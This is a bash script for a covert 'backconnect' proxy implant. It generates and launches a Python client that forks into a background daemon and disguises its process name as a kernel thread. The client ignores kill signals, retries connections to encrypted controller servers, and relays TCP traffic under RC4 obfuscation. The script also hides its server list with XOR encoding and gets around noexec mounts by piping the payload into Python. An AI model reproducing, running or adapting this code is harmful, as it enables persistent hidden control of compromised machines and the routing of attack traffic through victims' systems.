#!/bin/bash
# Backconnect Python v26 FINAL - All features + All fixes
# BCPY_MARKER - unique identifier for pgrep isolation
N="bcpy";D=3;PD=""

# Encrypted server data (fill after using -e)
ENC_DATA="545941565b5a435b5d5c5e5b555c5b47544f5c52405d58574b4b574054535e49535b5c445d594350504741575d485e4655555b505d4f5e544b405a5b4b5f575d565a5c5e5a5b5e425644415c5053414a5f415e515a55595656525c584b545a464956574a5f5a585851465c4e56504141525a415d56415c5753485b5a56465c45495d5a514056554c5447585451525c53545941565b5a435b5d5c5e5b5d5c5b47544f5c52405d58574b4b574054535649535b5c445d594350504741575d485e4557555b505d4f5e544b405a5b4b5f575d56595e5e5a5b5e425644415c5053414a5f415e525c55595656525c584b545a464956574a5f595e5851465c4e56504141525a415d56415c5451485b5a56465c45495d5a514056554c54445a5451525c53545941565b5a435b5d5c5e58535c5b47544f5c52405d58574b4b574054505849535b5c445d594350504741575d485e455f555b505d4f5e544b405a5b4b5f575d5659565e5a5b5e425644415c5053414a5f415e535e55595656525c584b545a464956574a5f585c5851465c4e56504141525a415d56415c5557485b5a56465c45495d5a514056554c54455c5451525c53545941565b5a435b5d5c5e59515c5b47544f5c52405d58574b4b574054515a49535b5c445d594350504741575d485e4451555b505d4f5e544b405a5b4b5f575d5658585e5a5b5e425644415c5053414a5f415e535655595656525c584b545a464956574a5f58545851465c4e56504141525a415d56415c5a55485b5a56465c45495d5a514056554c544a5e5451525c53545941565b5a435b5d5c5e56575c5b47544f5c52405d58574b4b5740545e5c49535b5c445d594350504741575d485e4b53555b505d4f5b504b445f4054555e5d5658575e5a5b5e425340415855485e4056415e53575559565652595c4b505f5d565c5e4a5f575d5851465c4e5354414557415e575f415c5a54485b5a5646594149595f4a5f5c5c4c544a5d5451525c53515d41525e415c51545c5e56565c5b47544f595640595d4c54415e40545e5b49535b5c44585d4354555c5e5d54485e4b52555b505d4f5b504b445f4054555e5d5657595e5a5b5e425340415855485e4056415e5c595559565652595c4b505f5d565c5e4a5f57555851465c4e5354414557415e575f415c5a5c485b5a5646594149595f4a5f5c5c4c544b5f5451525c53515d41525e415c51545c5e57545c5b47544f595640595d4c54415e40545f5d49535b5c44585d4354555c5e5d54485e4a54555b505d4f5b504b445f4054555e5d56565b5e5a5b5e425340415855485e4056415e5d5b5559565652595c4b505f5d565c5e4a5f565b5851465c4e5354414557415e575f415c5b52485b5a5646594149595f4a5f5c5c4c544b575451525c53515d41525e415c51545c5e575c5c5b47544f595640595d4c54415e4057565f49535b5c44585d4354555c5e5d54485d4356555b505d4f5b504b445f4054555e5d555f5d5e5a5b5e425340415855485e4056415d545d5559565652595c4b505f5d565c5e4a5c5f595851465c4e5354414557415e575f415f5250485b5a5646594149595f4a5f5c5c4c57475c5451525c"


# ═══════════════════════════════════════════════════════════════════════
#                         HELPER FUNCTIONS
# ═══════════════════════════════════════════════════════════════════════

get_arch() {
    local arch=$(uname -m 2>/dev/null || echo "x86_64")
    case "$arch" in
        x86_64|amd64)     echo "x86_64" ;;
        aarch64|arm64)    echo "aarch64" ;;
        i686|i386|i586)   echo "i686" ;;
        armv7l|armhf)     echo "armv7" ;;
        *)                echo "x86_64" ;;
    esac
}

find_writable() {
    local dirs=(
        "/tmp" "/var/tmp" "/dev/shm" "/run"
        "/run/user/$UID" "/run/user/$(id -u 2>/dev/null)"
        "$HOME" "${TMPDIR:-}" "${TEMP:-}" "${TMP:-}"
        "/usr/tmp" "/var/cache" "." "$PWD" "$(dirname "$0" 2>/dev/null)"
    )
    for d in "${dirs[@]}"; do
        [ -z "$d" ] && continue
        [ ! -d "$d" ] && continue
        local tf="$d/.${N}_test_$$"
        if touch "$tf" 2>/dev/null; then
            rm -f "$tf" 2>/dev/null
            echo "$d/.$N"
            return 0
        fi
    done
    echo ""
    return 1
}

find_downloader() {
    command -v curl &>/dev/null && { echo "curl"; return 0; }
    command -v wget &>/dev/null && { echo "wget"; return 0; }
    return 1
}

download_portable_python() {
    local dest_dir="$1"
    local arch=$(get_arch)
    local dl=$(find_downloader)
    
    [ -z "$dl" ] && return 1
    [ -z "$dest_dir" ] && return 1
    mkdir -p "$dest_dir" 2>/dev/null || return 1
    
    local base_url="https://github.com/indygreg/python-build-standalone/releases/download/20240415"
    local filename=""
    
    case "$arch" in
        x86_64)  filename="cpython-3.11.9+20240415-x86_64-unknown-linux-gnu-install_only.tar.gz" ;;
        aarch64) filename="cpython-3.11.9+20240415-aarch64-unknown-linux-gnu-install_only.tar.gz" ;;
        i686)    filename="cpython-3.11.9+20240415-i686-unknown-linux-gnu-install_only.tar.gz" ;;
        *)       return 1 ;;
    esac
    
    local url="$base_url/$filename"
    local tarball="$dest_dir/python.tar.gz"
    
    echo "Downloading portable Python (~25MB)..." >&2
    if [ "$dl" = "curl" ]; then
        curl -fsSL -o "$tarball" "$url" 2>/dev/null || return 1
    else
        wget -q -O "$tarball" "$url" 2>/dev/null || return 1
    fi
    
    [ ! -f "$tarball" ] && return 1
    local sz=$(stat -c%s "$tarball" 2>/dev/null || stat -f%z "$tarball" 2>/dev/null)
    [ "$sz" -lt 1000000 ] && { rm -f "$tarball"; return 1; }
    
    echo "Extracting..." >&2
    cd "$dest_dir" && tar -xzf "$tarball" 2>/dev/null && rm -f "$tarball"
    
    [ -x "$dest_dir/python/bin/python3" ] && { echo "$dest_dir/python/bin/python3"; return 0; }
    [ -x "$dest_dir/python/bin/python3.11" ] && { echo "$dest_dir/python/bin/python3.11"; return 0; }
    return 1
}

find_python() {
    local pythons=(
        "python3" "python" "python3.12" "python3.11" "python3.10" "python3.9" "python3.8"
        "/usr/bin/python3" "/usr/bin/python"
        "/usr/local/bin/python3" "/usr/local/bin/python"
        "/opt/python3/bin/python3" "/opt/python/bin/python"
        "/bin/python3" "/bin/python"
    )
    
    for p in "${pythons[@]}"; do
        if command -v "$p" &>/dev/null || [ -x "$p" ]; then
            if "$p" -c "import sys; sys.exit(0 if sys.version_info[0]>=3 else 1)" 2>/dev/null; then
                echo "$p"
                return 0
            fi
        fi
    done
    
    # Check already downloaded portable
    [ -n "$PD" ] && [ -x "$PD/python/bin/python3" ] && { echo "$PD/python/bin/python3"; return 0; }
    
    # Try to download portable
    if [ -n "$PD" ]; then
        local portable=$(download_portable_python "$PD")
        [ -n "$portable" ] && [ -x "$portable" ] && { echo "$portable"; return 0; }
    fi
    
    return 1
}

# ═══════════════════════════════════════════════════════════════════════
#                       ENCRYPTION FUNCTIONS
# ═══════════════════════════════════════════════════════════════════════

xc() { 
    local k="$1" d="$2" o="" i=0
    local kl="${#k}"
    [ "$kl" -eq 0 ] && { echo ""; return; }
    while [ $i -lt ${#d} ]; do
        local dc="${d:$i:2}"
        [ ${#dc} -lt 2 ] && break
        local db=$((16#$dc))
        local ki=$((i/2%kl))
        local kb=$(printf '%d' "'${k:$ki:1}")
        local xb=$((db^kb))
        o+=$(printf '%02x' $xb)
        i=$((i+2))
    done
    echo "$o"
}

s2h() { 
    local s="$1" o="" i
    for ((i=0;i<${#s};i++)); do 
        o+=$(printf '%02x' "'${s:$i:1}")
    done
    echo "$o"
}

h2s() { 
    local h="$1" o="" i
    for ((i=0;i<${#h};i+=2)); do 
        o+=$(printf "\\x${h:$i:2}")
    done
    echo -e "$o"
}

enc_srv() { 
    local k="$1"; shift
    echo "ENC_DATA=\"$(xc "$k" "$(s2h "$*")")\""
}

dec_srv() { 
    [ -z "$2" ] && return
    h2s "$(xc "$1" "$2")"
}

# ═══════════════════════════════════════════════════════════════════════
#                      PROCESS MANAGEMENT
# ═══════════════════════════════════════════════════════════════════════

fp() { 
    pgrep -f "BCPY_MARKER.*$1.*$2" 2>/dev/null
}

kt() { 
    local pids=$(fp "$1" "$2")
    [ -z "$pids" ] && return 0
    echo "$pids" | xargs -r kill -15 2>/dev/null
    sleep 0.5
    echo "$pids" | xargs -r kill -9 2>/dev/null
    sleep 0.3
}

ka() { 
    local pids=$(pgrep -f "BCPY_MARKER" 2>/dev/null)
    if [ -n "$pids" ]; then
        echo "$pids" | xargs -r kill -15 2>/dev/null
        sleep 1
        pgrep -f "BCPY_MARKER" 2>/dev/null | xargs -r kill -9 2>/dev/null
    fi
    [ -n "$PD" ] && rm -f "$PD"/*.py "$PD"/*.pid 2>/dev/null
    [ -n "$PD" ] && rmdir "$PD" 2>/dev/null
    echo "All Python clients killed"
    exit 0
}

st() { 
    echo "═══════════════════════════════════════════"
    echo "  Backconnect Python v26 Status"
    echo "═══════════════════════════════════════════"
    echo "  Python:    $PYTHON"
    echo "  Arch:      $(get_arch)"
    echo "  Directory: ${PD:-<none>}"
    echo "  ENC_DATA:  ${ENC_DATA:+SET (${#ENC_DATA} chars)}"
    [ -z "$ENC_DATA" ] && echo "  ENC_DATA:  <empty>"
    echo "───────────────────────────────────────────"
    echo "  Running processes:"
    
    local count=0
    if [ -n "$PD" ] && [ -d "$PD" ]; then
        for f in "$PD"/*.pid; do 
            [ -f "$f" ] || continue
            local p=$(cat "$f" 2>/dev/null)
            local n=$(basename "$f" .pid)
            if [ -n "$p" ] && kill -0 "$p" 2>/dev/null; then
                if grep -q "BCPY_MARKER" /proc/$p/cmdline 2>/dev/null; then
                    echo "    ✓ $n (PID $p)"
                    count=$((count+1))
                fi
            fi
        done
    fi
    [ $count -eq 0 ] && echo "    (none)"
    echo "═══════════════════════════════════════════"
    exit 0
}

ir() { 
    pgrep -f "BCPY_MARKER.*$1.*$2" >/dev/null 2>&1 && return 0
    [ -z "$PD" ] && return 1
    local pidf="$PD/${1}_${2}.pid"
    [ -f "$pidf" ] || return 1
    local p=$(cat "$pidf" 2>/dev/null)
    [ -z "$p" ] && return 1
    kill -0 "$p" 2>/dev/null || return 1
    grep -q "BCPY_MARKER" /proc/$p/cmdline 2>/dev/null
}

# ═══════════════════════════════════════════════════════════════════════
#                         SPAWN FUNCTION
# ═══════════════════════════════════════════════════════════════════════

spawn() {
    local host="$1" port="$2" id="$3"
    
    if [ -z "$PD" ]; then
        echo "No writable directory found"
        return 1
    fi
    
    mkdir -p "$PD" 2>/dev/null
    local pidf="$PD/${id}.pid"
    local pyf="$PD/${id}.py"
    
    cat > "$pyf" << PYEOF
#!/usr/bin/env python3
# BCPY_MARKER - DO NOT REMOVE
import socket,select,threading,random,time,os,sys,signal
try:
    threading.stack_size(131072)
except:pass
def daemonize(pidfile):
    if os.fork()>0:sys.exit(0)
    os.setsid()
    if os.fork()>0:sys.exit(0)
    try:os.chdir("/")
    except:pass
    os.umask(0)
    for fd in range(3,64):
        try:os.close(fd)
        except:pass
    sys.stdin=open("/dev/null","r")
    sys.stdout=open("/dev/null","w")
    sys.stderr=open("/dev/null","w")
    if pidfile:
        try:
            with open(pidfile,"w") as f:f.write(str(os.getpid()))
        except:pass
def mask_process():
    names=["kworker","migration","ksoftirqd","watchdog","rcu_sched","kswapd"]
    suffix=["","/0","/1","/0:0","/0:1"]
    pn=random.choice(names)+random.choice(suffix)
    try:
        import ctypes
        libc=ctypes.CDLL("libc.so.6")
        libc.prctl(15,pn.encode(),0,0,0)
    except:pass
    try:
        with open("/proc/self/comm","wb") as f:f.write(pn.encode()[:15])
    except:pass
H,P="${host}",${port}
PF="${pidf}"
daemonize(PF)
mask_process()
for s in[1,2,13,15]:
    try:signal.signal(s,signal.SIG_IGN)
    except:pass
x=bytearray([random.randint(0,254)for _ in range(50)])
def rc4(p,b,s,z):
    L=len(p)
    for i in range(z):b[s+i]^=p[i%L]
    r=list(range(256));j=0
    for i in range(256):j=(j+r[i]+p[i%L])&255;r[i],r[j]=r[j],r[i]
    i=j=0
    for k in range(z):
        i=(i+1)&255;j=(j+r[i])&255;r[i],r[j]=r[j],r[i]
        b[s+k]^=r[(r[i]+r[j])&255]
    for i in range(z):b[s+i]^=p[i%L]
SS=None
SL=threading.Lock()
AL=threading.Lock()
sa=[0]*200
sk=[None]*200
wc=0
MAX_WORKERS=200
ALIVE=True
GEN=0
def ssend(d,gen):
    global SS,GEN
    try:
        with SL:
            if SS and gen==GEN:
                SS.settimeout(10)
                try:SS.sendall(d)
                except:return 0
                finally:SS.settimeout(None)
        return 1
    except:return 0
def worker(n,cs,b0,gen):
    global sa,sk,wc,GEN,ALIVE
    r=bytearray([n,10,0,5,1,0,1,0,0,0,0,0,0])
    ok=0
    try:
        if b0[7]==3:
            dl=b0[8];dom=b0[9:9+dl].decode("latin-1");pt=(b0[9+dl]<<8)|b0[9+dl+1]
        elif b0[7]==1:
            dom=f"{b0[8]}.{b0[9]}.{b0[10]}.{b0[11]}";pt=(b0[12]<<8)|b0[13]
        else:raise Exception()
        cs.settimeout(15)
        cs.connect((dom,pt))
        cs.setsockopt(socket.IPPROTO_TCP,socket.TCP_NODELAY,1)
        cs.settimeout(None)
        with AL:
            if gen==GEN and ALIVE:sa[n]=1;sk[n]=cs;r[4]=0;ok=1
    except:
        try:cs.close()
        except:pass
    rc4(x,r,0,3);rc4(x,r,3,10);ssend(bytes(r),gen)
    if ok:
        try:
            while True:
                with AL:
                    if sa[n]!=1 or gen!=GEN or not ALIVE:break
                try:rl,_,el=select.select([cs],[],[cs],1)
                except:break
                if el:break
                if rl:
                    try:d=cs.recv(65530)
                    except:break
                    if not d:break
                    buf=bytearray([n,len(d)&255,(len(d)>>8)&255])+bytearray(d)
                    rc4(x,buf,0,3);rc4(x,buf,3,len(d))
                    if not ssend(bytes(buf),gen):break
        except:pass
    with AL:
        sa[n]=0;sk[n]=None
        if wc>0:wc-=1
    try:cs.close()
    except:pass
    if gen==GEN:r[1]=r[2]=0;rc4(x,r,0,3);ssend(bytes(r[:3]),gen)
reconnect_delay=5
max_reconnect_delay=60
def main():
    global SS,sa,sk,wc,ALIVE,GEN,reconnect_delay
    with AL:
        GEN+=1;ALIVE=True;wc=0
        for i in range(200):
            sa[i]=0;c=sk[i];sk[i]=None
            if c:
                try:c.close()
                except:pass
    gen=GEN
    rm=r4=ebx=edx=0;b0=bytearray();ex=0;ka_time=time.time()
    connected=False
    try:
        SS=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        SS.setsockopt(socket.IPPROTO_TCP,socket.TCP_NODELAY,1)
        SS.setsockopt(socket.SOL_SOCKET,socket.SO_KEEPALIVE,1)
        SS.settimeout(15)
        SS.connect((H,P))
        SS.settimeout(None)
        hs=bytearray(100);hs[:50]=x;hs[50]=255;hs[51]=255;hs[54:60]=b"Python"
        rc4(x,hs,50,50);SS.sendall(bytes(hs))
        connected=True;reconnect_delay=5
        while ALIVE and gen==GEN:
            if r4<4:
                try:rl,_,el=select.select([SS],[],[SS],60)
                except:break
                if el:break
                if not rl:
                    if time.time()-ka_time>60:
                        ka=bytearray(3);rc4(x,ka,0,3)
                        if not ssend(bytes(ka),gen):break
                        ka_time=time.time()
                    continue
                try:d=SS.recv(4-r4)
                except:break
                if not d:break
                b0.extend(d);r4+=len(d);ka_time=time.time()
                if r4==4:rc4(x,b0,0,4);ebx=b0[1];edx=b0[2]|(b0[3]<<8)
            if r4==4:
                if edx==0:
                    if len(b0)>=2 and b0[0]==255 and b0[1]==254:ex=1;break
                    if 0<ebx<200:
                        with AL:sa[ebx]=0;c=sk[ebx];sk[ebx]=None
                        if c:
                            try:c.close()
                            except:pass
                    r4=0;b0=bytearray()
                else:
                    if edx>1048576:break
                    need=edx-rm
                    if need>0:
                        try:d=SS.recv(min(need,65536))
                        except:break
                        if not d:break
                        b0.extend(d);rm+=len(d)
                    if rm==edx:
                        rc4(x,b0,4,rm)
                        if b0[0]==0:
                            if 0<ebx<200:
                                with AL:
                                    if wc>=MAX_WORKERS:r4=0;rm=0;b0=bytearray();continue
                                    wc+=1
                                cs=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                                t=threading.Thread(target=worker,args=(ebx,cs,bytes(b0),gen),daemon=True)
                                t.start()
                        else:
                            if 0<ebx<200:
                                with AL:
                                    if sa[ebx]==1 and sk[ebx]:
                                        try:sk[ebx].settimeout(10);sk[ebx].sendall(bytes(b0[4:4+rm]))
                                        except:pass
                        rm=0;r4=0;b0=bytearray()
    except:pass
    with AL:
        if gen==GEN:ALIVE=False
    try:SS.close()
    except:pass
    SS=None
    time.sleep(1)
    with AL:
        for i in range(200):
            if sa[i]!=0:
                sa[i]=0;c=sk[i];sk[i]=None
                if c:
                    try:c.close()
                    except:pass
    if not connected:reconnect_delay=min(reconnect_delay*1.5,max_reconnect_delay)
    time.sleep(reconnect_delay-1)
    if ex:sys.exit(0)
while 1:
    try:main()
    except:
        reconnect_delay=min(reconnect_delay*1.5,max_reconnect_delay)
        time.sleep(reconnect_delay)
PYEOF
    
    chmod +x "$pyf" 2>/dev/null
    
    # Method 1: Direct execution
    "$PYTHON" "$pyf" 2>/dev/null &
    sleep 1
    [ -f "$pidf" ] && local pid=$(cat "$pidf") && kill -0 "$pid" 2>/dev/null && return 0
    
    # Method 2: Via stdin (bypass noexec)
    "$PYTHON" < "$pyf" 2>/dev/null &
    sleep 1
    [ -f "$pidf" ] && local pid=$(cat "$pidf") && kill -0 "$pid" 2>/dev/null && return 0
    
    # Method 3: Via pipe
    cat "$pyf" | "$PYTHON" 2>/dev/null &
    sleep 1
    [ -f "$pidf" ] && local pid=$(cat "$pidf") && kill -0 "$pid" 2>/dev/null && return 0
    
    return 1
}

# ═══════════════════════════════════════════════════════════════════════
#                           INITIALIZATION
# ═══════════════════════════════════════════════════════════════════════

PD="$(find_writable)"
PYTHON="$(find_python)"

if [ -z "$PYTHON" ]; then
    echo "ERROR: No Python 3 found"
    echo "Searched: python3, python, /usr/bin/python3, etc."
    echo "Auto-download also failed (need curl or wget)"
    exit 1
fi

# ═══════════════════════════════════════════════════════════════════════
#                          MAIN LOGIC
# ═══════════════════════════════════════════════════════════════════════

SRV=();FORCE=0

case "${1:-}" in
-h|--help)
    echo "Backconnect Python v26 FINAL"
    echo ""
    echo "Usage: $0 [options] [server:port ...]"
    echo ""
    echo "Options:"
    echo "  -e KEY srv:port...  Encrypt server list"
    echo "  -d KEY [-f]         Decrypt ENC_DATA and run"
    echo "  -k                  Kill all Python clients"
    echo "  -s                  Show status"
    echo "  -f                  Force restart"
    echo "  --download          Download portable Python"
    echo "  -h, --help          Show this help"
    echo ""
    echo "Examples:"
    echo "  $0 server.com:443                    # Direct run"
    echo "  $0 srv1:443 srv2:8080 srv3:443       # Multiple servers"
    echo "  $0 -e mykey srv1:443 srv2:443        # Encrypt servers"
    echo "  $0 -d mykey                          # Decrypt and run"
    echo "  $0 -d mykey -f                       # Decrypt + force restart"
    echo ""
    echo "Current config:"
    echo "  Python: $PYTHON"
    echo "  Arch:   $(get_arch)"
    echo "  Dir:    ${PD:-<none>}"
    exit 0
    ;;
-k) ka ;;
-s) st ;;
--download)
    echo "Downloading portable Python..."
    [ -z "$PD" ] && { echo "ERROR: No writable directory"; exit 1; }
    portable=$(download_portable_python "$PD")
    if [ -n "$portable" ] && [ -x "$portable" ]; then
        echo "Success: $portable"
        "$portable" --version
    else
        echo "Download failed"
        exit 1
    fi
    exit 0
    ;;
-e)
    [ -z "$2" ] && { echo "Usage: $0 -e KEY server:port [server:port ...]"; exit 1; }
    K="$2"; shift 2
    [ $# -eq 0 ] && { echo "ERROR: No servers specified"; exit 1; }
    enc_srv "$K" "$@"
    echo ""
    echo "Now insert this line into the script (replace ENC_DATA=\"\")"
    echo "Then run: $0 -d $K"
    exit 0
    ;;
-d)
    [ -z "$2" ] && { echo "Usage: $0 -d KEY [-f]"; exit 1; }
    K="$2"; shift 2
    [ "${1:-}" = "-f" ] && { FORCE=1; shift; }
    if [ -z "$ENC_DATA" ]; then
        echo "ERROR: ENC_DATA is empty"
        echo ""
        echo "You need to:"
        echo "  1. Run: $0 -e KEY server:port..."
        echo "  2. Copy the output ENC_DATA=\"...\" into this script"
        echo "  3. Then run: $0 -d KEY"
        exit 1
    fi
    DE=$(dec_srv "$K" "$ENC_DATA")
    if [ -z "$DE" ]; then
        echo "ERROR: Decryption failed"
        echo "  ENC_DATA length: ${#ENC_DATA}"
        echo "  KEY length: ${#K}"
        echo ""
        echo "Make sure you use the same key for -e and -d"
        exit 1
    fi
    for s in $DE; do 
        [[ "$s" == *:* ]] && SRV+=("$s") || SRV+=("$s:443")
    done
    ;;
-f)
    FORCE=1; shift
    for a in "$@"; do 
        [[ "$a" == *:* ]] && SRV+=("$a") || SRV+=("$a:443")
    done
    ;;
*)
    for a in "$@"; do 
        [[ "$a" == *:* ]] && SRV+=("$a") || SRV+=("$a:443")
    done
    ;;
esac

[ ${#SRV[@]} -eq 0 ] && { echo "No servers. Use -h for help"; exit 1; }

mkdir -p "$PD" 2>/dev/null
c=0
for s in "${SRV[@]}"; do
    h="${s%:*}"; p="${s#*:}"; id="${h}_${p}"
    c=$((c+1))
    
    if ir "$h" "$p"; then
        if [ "$FORCE" = "1" ]; then
            printf "[%d/%d] %s:%s replacing... " "$c" "${#SRV[@]}" "$h" "$p"
            kt "$h" "$p"
            sleep 0.5
        else
            echo "[$c/${#SRV[@]}] $h:$p already running (use -f to restart)"
            [ "$c" -lt "${#SRV[@]}" ] && sleep "$D"
            continue
        fi
    else
        printf "[%d/%d] %s:%s " "$c" "${#SRV[@]}" "$h" "$p"
    fi
    
    spawn "$h" "$p" "$id" && echo "OK" || echo "FAIL"
    [ "$c" -lt "${#SRV[@]}" ] && sleep "$D"
done
echo "Done. Use -s for status."
